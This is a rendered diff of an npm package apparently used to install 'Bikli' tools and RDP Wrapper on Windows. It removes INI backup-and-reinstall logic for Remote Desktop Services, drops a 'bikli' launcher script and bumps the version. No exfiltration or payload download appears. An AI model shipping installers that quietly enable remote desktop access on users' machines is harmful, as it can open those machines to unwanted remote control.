if (fs.existsSync(installation.installedIniPath)) fs.copyFileSync(installation.installedIniPath, backupPath);
|
|
323
|
-
fs.copyFileSync(bundledIniPath, installation.installedIniPath);
|
|
324
|
-
try {
|
|
325
|
-
runInstaller('-r');
|
|
326
|
-
} catch (error) {
|
|
327
|
-
if (fs.existsSync(backupPath)) {
|
|
328
|
-
fs.copyFileSync(backupPath, installation.installedIniPath);
|
|
329
|
-
runInstaller('-r');
|
|
330
|
-
}
|
|
331
|
-
throw error;
|
|
332
|
-
}
|
|
333
|
-
} else if (settingsChanged || !serviceIsRunning()) {
|
|
334
|
-
console.log('Applying defaults and restarting Remote Desktop Services...');
|
|
335
|
-
runInstaller('-r');
|
|
336
|
-
} else {
|
|
337
|
-
console.log('RDP Wrapper is already installed and fully supported; reinstall skipped.');
|
|
338
|
-
}
|
|
315
|
+
console.log('RDP Wrapper is already installed and fully supported; reinstall skipped.');
|
|
339
316
|
}
|
|
340
317
|
|
|
341
318
|
waitForServiceAndListener();
|
|
@@ -398,7 +375,7 @@ function main() {
|
|
|
398
375
|
status.listenerListening && status.defaultsApplied ? 0 : 2;
|
|
399
376
|
return;
|
|
400
377
|
}
|
|
401
|
-
if (command === 'self-test'
|
|
378
|
+
if (command === 'self-test') return selfTest();
|
|
402
379
|
if (command === 'elevation-self-test') return elevateAndRun('self-test');
|
|
403
380
|
if (command === 'help' || command === '--help' || command === '-h') return showHelp();
|
|
404
381
|
fail(`Unknown command: ${command}`);
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@biklitime/biklimaster",
|
|
3
|
-
"version": "1.1.
|
|
3
|
+
"version": "1.1.11",
|
|
4
4
|
"description": "Internal Windows installer for Bikli CLI and Bikli Wrapper",
|
|
5
5
|
"license": "BSD-3-Clause",
|
|
6
6
|
"publishConfig": {
|
|
@@ -11,8 +11,7 @@
|
|
|
11
11
|
],
|
|
12
12
|
"bin": {
|
|
13
13
|
"biklimaster": "bin/biklimaster.js",
|
|
14
|
-
"bikliwrapper": "lib/bikliwrapper.js"
|
|
15
|
-
"bikli": "bin/bikli.js"
|
|
14
|
+
"bikliwrapper": "lib/bikliwrapper.js"
|
|
16
15
|
},
|
|
17
16
|
"files": [
|
|
18
17
|
"bin",
|
package/bin/bikli.js
DELETED
|
@@ -1,44 +0,0 @@
|
|
|
1
|
-
#!/usr/bin/env node
|
|
2
|
-
'use strict';
|
|
3
|
-
|
|
4
|
-
const fs = require('fs');
|
|
5
|
-
const path = require('path');
|
|
6
|
-
const { spawnSync } = require('child_process');
|
|
7
|
-
|
|
8
|
-
function installedBikliPath() {
|
|
9
|
-
const candidates = [
|
|
10
|
-
path.join(process.env.ProgramW6432 || 'C:\\Program Files', 'Bikli', 'Bikli.exe'),
|
|
11
|
-
path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli', 'Bikli.exe'),
|
|
12
|
-
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli', 'Bikli.exe'),
|
|
13
|
-
path.join(process.env.LOCALAPPDATA || 'C:\\Users\\Default\\AppData\\Local', 'Programs', 'Bikli', 'Bikli.exe'),
|
|
14
|
-
path.join(process.env.USERPROFILE || 'C:\\Users\\Default', 'AppData', 'Local', 'Programs', 'Bikli', 'Bikli.exe')
|
|
15
|
-
];
|
|
16
|
-
const found = candidates.find(candidate => fs.existsSync(candidate));
|
|
17
|
-
if (found) return found;
|
|
18
|
-
try {
|
|
19
|
-
const whereResult = spawnSync('where.exe', ['bikli.exe'], { encoding: 'utf8', windowsHide: true });
|
|
20
|
-
if (whereResult.status === 0 && whereResult.stdout) {
|
|
21
|
-
const firstLine = whereResult.stdout.trim().split(/\r?\n/)[0];
|
|
22
|
-
if (firstLine && fs.existsSync(firstLine)) return firstLine;
|
|
23
|
-
}
|
|
24
|
-
} catch {}
|
|
25
|
-
return '';
|
|
26
|
-
}
|
|
27
|
-
|
|
28
|
-
const bikliExe = installedBikliPath();
|
|
29
|
-
if (!bikliExe) {
|
|
30
|
-
console.error('Bikli CLI is not installed. Run "biklimaster install" to install it.');
|
|
31
|
-
process.exit(1);
|
|
32
|
-
}
|
|
33
|
-
|
|
34
|
-
const result = spawnSync(bikliExe, process.argv.slice(2), {
|
|
35
|
-
stdio: 'inherit',
|
|
36
|
-
windowsHide: false
|
|
37
|
-
});
|
|
38
|
-
|
|
39
|
-
if (result.error) {
|
|
40
|
-
console.error(`Failed to run Bikli CLI: ${result.error.message}`);
|
|
41
|
-
process.exit(1);
|
|
42
|
-
}
|
|
43
|
-
|
|
44
|
-
process.exit(result.status === null ? 1 : result.status);
|